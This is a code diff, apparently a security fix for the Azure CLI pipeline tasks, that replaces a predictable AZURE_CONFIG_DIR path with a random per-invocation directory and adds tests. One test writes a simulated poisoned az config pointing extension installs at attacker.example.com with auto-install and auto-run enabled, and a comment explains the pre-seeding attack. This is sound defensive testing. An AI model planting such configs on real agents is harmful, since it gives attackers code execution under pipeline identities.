AzureCLI V1/V2/V3: isolate AZURE_CONFIG_DIR per task invocation

Tasks/AzureCLIV1/Tests/L0.ts

@@ -3,10 +3,15 @@ import path = require('path');
 import os = require('os');
 
 import * as ttm from 'azure-pipelines-task-lib/mock-test';
+import { runConfigDirIsolationTests } from './L0ConfigDirIsolation';
 
 describe('AzureCLIV1 Suite', function () {
     this.timeout(20000);
 
+    describe('AZURE_CONFIG_DIR isolation', () => {
+        runConfigDirIsolationTests();
+    });
+
     // Use cross-platform temp directory for assertions
     const tempDir = require('os').tmpdir();
 

Tasks/AzureCLIV1/Tests/L0ConfigDirIsolation.ts

@@ -0,0 +1,133 @@
+import assert = require('assert');
+import * as fs from 'fs';
+import * as os from 'os';
+import * as path from 'path';
+
+import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir';
+
+export function runConfigDirIsolationTests() {
+    describe('createPerInvocationAzureConfigDir (security hardening)', () => {
+        let agentTemp: string;
+
+        beforeEach(() => {
+            agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-'));
+        });
+
+        afterEach(() => {
+            try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ }
+            delete process.env['AZURE_CONFIG_DIR'];
+        });
+
+        it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => {
+            delete process.env['AZURE_CONFIG_DIR'];
+            const dir = createPerInvocationAzureConfigDir(agentTemp);
+            try {
+                assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir,
+                    'helper must set the env var so az picks up the new dir');
+            } finally {
+                fs.rmSync(dir, { recursive: true, force: true });
+            }
+        });
+
+        it('creates a brand-new directory under the agent temp root', () => {
+            const dir = createPerInvocationAzureConfigDir(agentTemp);
+            try {
+                assert(fs.existsSync(dir), 'config dir should exist on disk');
+                assert(fs.statSync(dir).isDirectory(), 'should be a directory');
+                assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp,
+                    `config dir parent should be agent temp, got ${path.dirname(dir)}`);
+            } finally {
+                fs.rmSync(dir, { recursive: true, force: true });
+            }
+        });
+
+        it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => {
+            const vulnerablePath = path.join(agentTemp, '.azclitask');
+            const dir = createPerInvocationAzureConfigDir(agentTemp);
+            try {
+                assert.notStrictEqual(dir, vulnerablePath,
+                    'must not use the fixed predictable path attackable by pre-seeding');
+                assert(path.basename(dir).startsWith('.azclitask-'),
+                    `basename should start with ".azclitask-" (got "${path.basename(dir)}")`);
+                assert(path.basename(dir).length > '.azclitask-'.length,
+                    'mkdtemp must append a random suffix');
+            } finally {
+                fs.rmSync(dir, { recursive: true, force: true });
+            }
+        });
+
+        it('produces a different directory on each invocation', () => {
+            const a = createPerInvocationAzureConfigDir(agentTemp);
+            const b = createPerInvocationAzureConfigDir(agentTemp);
+            try {
+                assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs');
+            } finally {
+                fs.rmSync(a, { recursive: true, force: true });
+                fs.rmSync(b, { recursive: true, force: true });
+            }
+        });
+
+        it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => {
+            // Simulate the exact attack: a prior step writes a poisoned config at the
+            // predictable path the vulnerable task used to point AZURE_CONFIG_DIR at.
+            const poisonedDir = path.join(agentTemp, '.azclitask');
+            fs.mkdirSync(poisonedDir, { recursive: true });
+            const poisonedConfig = path.join(poisonedDir, 'config');
+            fs.writeFileSync(poisonedConfig,
+                '[extension]\nindex_url = https://attacker.example.com/index.json\n' +
+                'use_dynamic_install = yes_without_prompt\n' +
+                'run_after_dynamic_install = True\n');
+
+            const dir = createPerInvocationAzureConfigDir(agentTemp);
+            try {
+                assert.notStrictEqual(dir, poisonedDir,
+                    'new config dir must not be the attacker-controlled predictable path');
+                assert(!fs.existsSync(path.join(dir, 'config')),
+                    'newly-created config dir must not contain a pre-seeded config file');
+            } finally {
+                fs.rmSync(dir, { recursive: true, force: true });
+            }
+        });
+
+        it('throws when agentTempDir is empty/undefined', () => {
+            assert.throws(() => createPerInvocationAzureConfigDir(undefined as any));
+            assert.throws(() => createPerInvocationAzureConfigDir(''));
+        });
+    });
+
+    describe('removePerInvocationAzureConfigDir', () => {
+        let agentTemp: string;
+
+        beforeEach(() => {
+            agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-'));
+        });
+
+        afterEach(() => {
+            try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ }
+            delete process.env['AZURE_CONFIG_DIR'];
+        });
+
+        it('removes the directory (even when it contains files left by az)', () => {
+            const dir = createPerInvocationAzureConfigDir(agentTemp);
+            fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n');
+            fs.mkdirSync(path.join(dir, 'cliextensions'));
+            process.env['AZURE_CONFIG_DIR'] = dir;
+            removePerInvocationAzureConfigDir(dir);
+            assert(!fs.existsSync(dir), 'directory must be gone after cleanup');
+            assert(process.env['AZURE_CONFIG_DIR'] === undefined,
+                'AZURE_CONFIG_DIR env var must be unset after cleanup');
+        });
+
+        it('is a no-op for null/empty inputs (safe in finally)', () => {
+            assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null));
+            assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined));
+            assert.doesNotThrow(() => removePerInvocationAzureConfigDir(''));
+        });
+
+        it('never throws when the path does not exist', () => {
+            const ghost = path.join(agentTemp, '.azclitask-ghost00');
+            assert(!fs.existsSync(ghost));
+            assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost));
+        });
+    });
+}

Tasks/AzureCLIV1/azureclitask.ts

@@ -5,6 +5,7 @@ import fs = require("fs");
 import os = require("os");
 import { getHandlerFromToken, WebApi } from "azure-devops-node-api";
 import { ITaskApi } from "azure-devops-node-api/TaskApi";
+import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir";
 
 const nodeVersion = parseInt(process.version.split('.')[0].replace('v', ''));
 if (nodeVersion > 16) {
@@ -155,11 +156,20 @@ export class azureclitask {
             if (this.isLoggedIn) {
                 this.logoutAzure();
             }
+
+            // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear`)
+            // so they still see the per-invocation profile. Removing it earlier would
+            // unset AZURE_CONFIG_DIR and cause `az` to mutate the agent's global profile.
+            if (this.azCliConfigPath) {
+                removePerInvocationAzureConfigDir(this.azCliConfigPath);
+                this.azCliConfigPath = null;
+            }
         }
     }
 
     private static isLoggedIn: boolean = false;
     private static cliPasswordPath: string = null;
+    private static azCliConfigPath: string = null;
     private static servicePrincipalId: string = null;
     private static servicePrincipalKey: string = null;
     private static federatedToken: string = null;
@@ -229,10 +239,13 @@ export class azureclitask {
             return;
         }
 
-        if (!!tl.getVariable('Agent.TempDirectory')) {
-            var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask");
-            console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath));
-            process.env['AZURE_CONFIG_DIR'] = azCliConfigPath;
+        const agentTempDir = tl.getVariable('Agent.TempDirectory');
+        if (!!agentTempDir) {
+            // Security: create an unpredictable per-invocation
+            // directory so an earlier pipeline step cannot pre-seed a poisoned
+            // az config file at $(Agent.TempDirectory)/.azclitask/config.
+            this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir);
+            console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath));
         } else {
             console.warn(tl.loc('GlobalCliConfigAgentVersionWarning'));
         }

Tasks/AzureCLIV1/src/AzureCliConfigDir.ts

@@ -0,0 +1,81 @@
+import * as fs from 'fs';
+import * as path from 'path';
+import * as tl from 'azure-pipelines-task-lib/task';
+
+/**
+ * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks.
+ *
+ * NOTE: this file is intentionally duplicated under
+ * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src.
+ * Each AzureCLI task is shipped as a self-contained npm package and the
+ * repo convention is to keep small, task-coupled helpers in the task
+ * folder rather than introduce a new shared package. Keep all three
+ * copies in sync when changing this file.
+ *
+ * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable
+ * path $(Agent.TempDirectory)/.azclitask which allowed any earlier
+ * pipeline step running on the same agent to pre-seed a poisoned `config`
+ * file (e.g. extension.index_url / use_dynamic_install /
+ * run_after_dynamic_install) and achieve code execution under the
+ * service-connection identity once the AzureCLI task subsequently invoked
+ * `az`. Creating a fresh, unpredictable directory per invocation closes
+ * that gap.
+ */
+
+/**
+ * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the
+ * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR
+ * at it. Returns the absolute path. The directory has the form
+ * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six
+ * cryptographically-random alphanumeric characters chosen by libuv
+ * (filesystem-safe on every supported OS). Pairing the env-var set with
+ * the directory creation here (and the unset with cleanup in
+ * removePerInvocationAzureConfigDir) keeps the lifetime of the variable
+ * scoped to the lifetime of the directory.
+ */
+export function createPerInvocationAzureConfigDir(agentTempDir: string): string {
+    if (!agentTempDir) {
+        throw new Error('agentTempDir is required');
+    }
+    let dir: string;
+    try {
+        dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-'));
+    } catch (mkErr) {
+        // Fail loudly. We deliberately do NOT fall back to the predictable
+        // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability
+        // this code closes) nor silently to the user's global ~/.azure profile
+        // (that would override the user's explicit useGlobalConfig=false choice
+        // and could mutate the agent identity's profile across pipeline runs).
+        // The caller's outer catch surfaces this as a task failure.
+        const msg = (mkErr && (mkErr as Error).message) || String(mkErr);
+        throw new Error(
+            `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` +
+            `Verify Agent.TempDirectory exists and is writable by the agent account. ` +
+            `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` +
+            `set the task input 'useGlobalConfig: true'.`);
+    }
+    process.env['AZURE_CONFIG_DIR'] = dir;
+    return dir;
+}
+
+/**
+ * Removes a directory previously created by
+ * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env
+ * var. Safe to call in `finally` — never throws; logs to tl.debug on
+ * failure so a broken cleanup cannot mask the original task error.
+ */
+export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void {
+    if (!configPath) {
+        return;
+    }
+    tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: ${configPath}`);
+    try {
+        tl.rmRF(configPath);
+    } catch (rmErr) {
+        const msg = (rmErr && (rmErr as Error).message) || String(rmErr);
+        tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`);
+    }
+    try {
+        delete process.env['AZURE_CONFIG_DIR'];
+    } catch { /* ignore */ }
+}

Tasks/AzureCLIV1/task.json

@@ -19,7 +19,7 @@
   "demands": [],
   "version": {
     "Major": 1,
-    "Minor": 274,
+    "Minor": 275,
     "Patch": 0
   },
   "minimumAgentVersion": "2.0.0",

Tasks/AzureCLIV1/task.loc.json

@@ -19,7 +19,7 @@
   "demands": [],
   "version": {
     "Major": 1,
-    "Minor": 274,
+    "Minor": 275,
     "Patch": 0
   },
   "minimumAgentVersion": "2.0.0",

Tasks/AzureCLIV2/Tests/L0.ts

@@ -4,6 +4,7 @@ import path = require('path');
 import * as ttm from 'azure-pipelines-task-lib/mock-test';
 import { runValidateScriptArgsTests } from './L0ValidateScriptArgs';
 import { runTryValidateScriptArgsTests } from './L0TryValidateScriptArgs';
+import { runConfigDirIsolationTests } from './L0ConfigDirIsolation';
 
 describe('AzureCLIV2 Suite', function () {
     this.timeout(30000);
@@ -16,6 +17,10 @@ describe('AzureCLIV2 Suite', function () {
         runTryValidateScriptArgsTests();
     });
 
+    describe('AZURE_CONFIG_DIR isolation', () => {
+        runConfigDirIsolationTests();
+    });
+
     it('LateBoundIdToken: Feature Flag ON, Token Present -> Uses Token, Emits Telemetry', async () => {
         let tp = path.join(__dirname, 'LateBoundIdToken_FeatureFlagOn_TokenPresent.js');
         let tr: ttm.MockTestRunner = new ttm.MockTestRunner(tp);